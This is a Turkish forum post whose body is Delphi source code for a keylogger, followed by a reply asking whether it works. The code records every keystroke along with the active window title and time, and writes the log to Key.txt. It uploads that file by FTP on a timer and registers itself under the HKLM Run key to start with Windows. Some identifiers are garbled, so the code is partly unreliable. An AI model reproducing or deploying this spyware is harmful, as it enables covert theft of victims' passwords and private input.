KOOLPA

levoo

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Wininet, Registry;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
ss:string;
Current_App:String;
VentanaActual:String;
VentanaAnterior:String;
intconn,intopen: hinternet;

implementation

{$R *.dfm}

procedure UploadMyFile (File2Uploadchar; targetfilenamechar);
const
TheFtpPort = 21;
begin
intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0);
intconn := internetconnect(intopen, 'ftp', TheFtpPort, 'user', 'pass',INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE, 0);
sleep(100);
ftpputfile(intconn,File2Upload,targetfilename,FTP_ TRANSFER_TYPE_UNKNOWN,0);
internetclosehandle(intconn);
internetclosehandle(intopen);
end;

procedure SetAutoStart(AppName, AppTitle: string; bRegister: Boolean);
const
RegKey = '\Software\Microsoft\Windows\CurrentVersion\Run';
var
Registry: TRegistry;
begin
Registry := TRegistry.Create;
try
Registry.RootKey := HKEY_LOCAL_MACHINE;
if Registry.OpenKey(RegKey, False) then
begin
if bRegister = False then
Registry.DeleteValue(AppTitle)
else
Registry.WriteString(AppTitle, AppName);
end;
finally
Registry.Free;
end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
i:integer;
handler:THandle;
caption : array[0..80] of Char;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
17 : ss := ss + ' [Ctrl] ';
18 : ss := ss + ' [Alt] ';
8 : ss := ss + ' [Back] '; 9 : ss := ss + ' [TAB] ';
20 : ss := ss + ' [CapsLock] ';
21 : ss := ss + ' [CapsLock] ';
13 : ss := ss + ' [Enter] '+#13#10;
27 : ss := ss + '[Escape]';
32 : ss := ss + ' ';
33 : ss := ss + ' [PageUp] ';
34 : ss := ss + ' [PageDown] ';
35 : ss := ss + ' [End] ';
36 : ss := ss + ' [Home] ';
37 : ss := ss + ' [OK:Sol] ';
38 : ss := ss + ' [OK:Yukarı] ';
39 : ss := ss + ' [OK:Sağ] ';
44 : ss := ss + ' [PrintScreen] ';
40 : ss := ss + ' [OK:Aşağı] ';
45 : ss := ss + ' [İnsert] ';
46 : ss := ss + ' [Delete] ';
144 : ss := ss + ' [NumLock] ';
145 : ss := ss + ' [ScrollLock] ';
$10 : ss := ss + ' [Shift] ';
49 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '!'
else ss := ss + '1';
50 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ''''
else ss := ss + '2';
51 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '^'
else ss := ss + '3';
52 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '+'
else ss := ss + '4';
53 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '%'
else ss := ss + '5';
54 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '&'
else ss := ss + '6';
55 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '/'
else ss := ss + '7';
57 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ')'
else ss := ss + '9';
//...
56 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '('
else ss := ss + '8';
65..90 : //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + LowerCase(Chr(i))
else
ss := ss + UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT) < 0 then
ss := ss + UpperCase(Chr(i))
else
ss := ss + LowerCase(Chr(i));
//NUMPAD
96 : ss := ss + '0';
97 : ss := ss + '1';
98 : ss := ss + '2';
99 : ss := ss + '3';
100 : ss := ss + '4';
101 : ss := ss + '5';
102 : ss := ss + '6';
103 : ss := ss + '7';
104 : ss := ss + '8';
105 : ss := ss + '9';
106 : ss := ss + '*';
107 : ss := ss + '+';
109 : ss := ss + '-';
110 : ss := ss + ',';
111 : ss := ss + '/';
112..123 :
//F1-F12
ss := ss + '[F' + IntToStr(i - 111) + ']';
186 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ş'
else ss := ss + 'ş';
187 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '+'
else ss := ss + '=';
188 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ';'
else ss := ss + ',';
189 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '_'
else ss := ss + '-';
190 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + ':'
else ss := ss + '.';
191 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ö'
else ss := ss + 'ö';
192 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'é'
else ss := ss + '"';
219 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'Ğ'
else ss := ss + 'ğ';
220 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + '|'
else ss := ss + '';
221 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'ü'
else ss := ss + 'ü';
222 : if GetKeyState(VK_SHIFT) < 0 then ss := ss + 'i'
else ss := ss + 'i';
end;
end;
handler := GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App)and(caption<>'') then
begin
Current_App := caption;
ss := ss+#13#10'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
Memo1.Lines.Clear;
Memo1.Lines.Add(ss);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Memo1.Lines.SaveToFile('Key.txt');
UploadMyFile('Key.txt', 'Key.txt');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
SetAutoStart(ParamStr(0), 'pimrat', True);
end;

end.

Alıntıdır...

bluman

kardes alıntı yapmıssın ama çalıştığından emin misin?